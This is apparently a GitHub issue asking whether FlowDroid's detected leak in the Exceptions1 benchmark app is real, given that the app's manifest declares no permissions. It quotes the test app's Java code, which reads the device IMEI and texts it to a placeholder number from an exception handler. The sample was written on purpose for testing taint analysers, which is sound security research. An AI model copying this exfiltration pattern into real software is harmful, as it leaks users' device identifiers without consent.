You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Recently, I used FlowDroid to conduct a taint analysis on the Exceptions1.apk file under the directory of GeneralJava and found that FlowDroid detected a leak successfully. The leak oracle written in the comments of source code is as followed:
/** * @testcase_name Exceptions1 * @version 0.1 * @author Secure Software Engineering Group (SSE), European Center for Security and Privacy by Design (EC SPRIDE) * @author_mail steven.arzt@cased.de * * @description tainted data is created and sent out in an exception handler * @dataflow source -> imei -> exception handler -> sink * @number_of_leaks 1 * @challenges the analysis must handle exceptions */publicclassExceptions1extendsActivity {
@OverrideprotectedvoidonCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Stringimei = "";
try {
TelephonyManagertelephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
imei = telephonyManager.getDeviceId(); //sourcethrownewRuntimeException();
}
catch (RuntimeExceptionex) {
SmsManagersm = SmsManager.getDefault();
sm.sendTextMessage("+49 1234", null, imei, null, null); //sink, leak
}
}
}
I can figure out that the source API locates in the unit of telephonyManager.getDeviceId() and the sink API locates in the unit of sm.sendTextMessage("+49 1234", null, imei, null, null). However, according to the default SourcesAndSinks.txt file provided by FlowDroid, the source and sink APIs mentioned above are accompanied by corresponding permissions of the Android app.
So I am wondering about whether the leak behavior actually take place in the Apk without permissions required by the source and sink APIs, and whether the leak oracle listed in the source code of Exceptions1.apk is correct.
Maybe some configuration settings in FlowDroid which can be utilized to figure out the permission problems are completely ignored by me. If that happened, I would be much grateful that you could spare time to help me out. Thank you so much!
The text was updated successfully, but these errors were encountered:
Recently, I used FlowDroid to conduct a taint analysis on the Exceptions1.apk file under the directory of GeneralJava and found that FlowDroid detected a leak successfully. The leak oracle written in the comments of source code is as followed:
I can figure out that the source API locates in the unit of
telephonyManager.getDeviceId()
and the sink API locates in the unit ofsm.sendTextMessage("+49 1234", null, imei, null, null)
. However, according to the default SourcesAndSinks.txt file provided by FlowDroid, the source and sink APIs mentioned above are accompanied by corresponding permissions of the Android app.After I check the source code of Exceptions1.apk, I find there is not any permission listed in the manifest.xml file.
So I am wondering about whether the leak behavior actually take place in the Apk without permissions required by the source and sink APIs, and whether the leak oracle listed in the source code of Exceptions1.apk is correct.
Maybe some configuration settings in FlowDroid which can be utilized to figure out the permission problems are completely ignored by me. If that happened, I would be much grateful that you could spare time to help me out. Thank you so much!
The text was updated successfully, but these errors were encountered: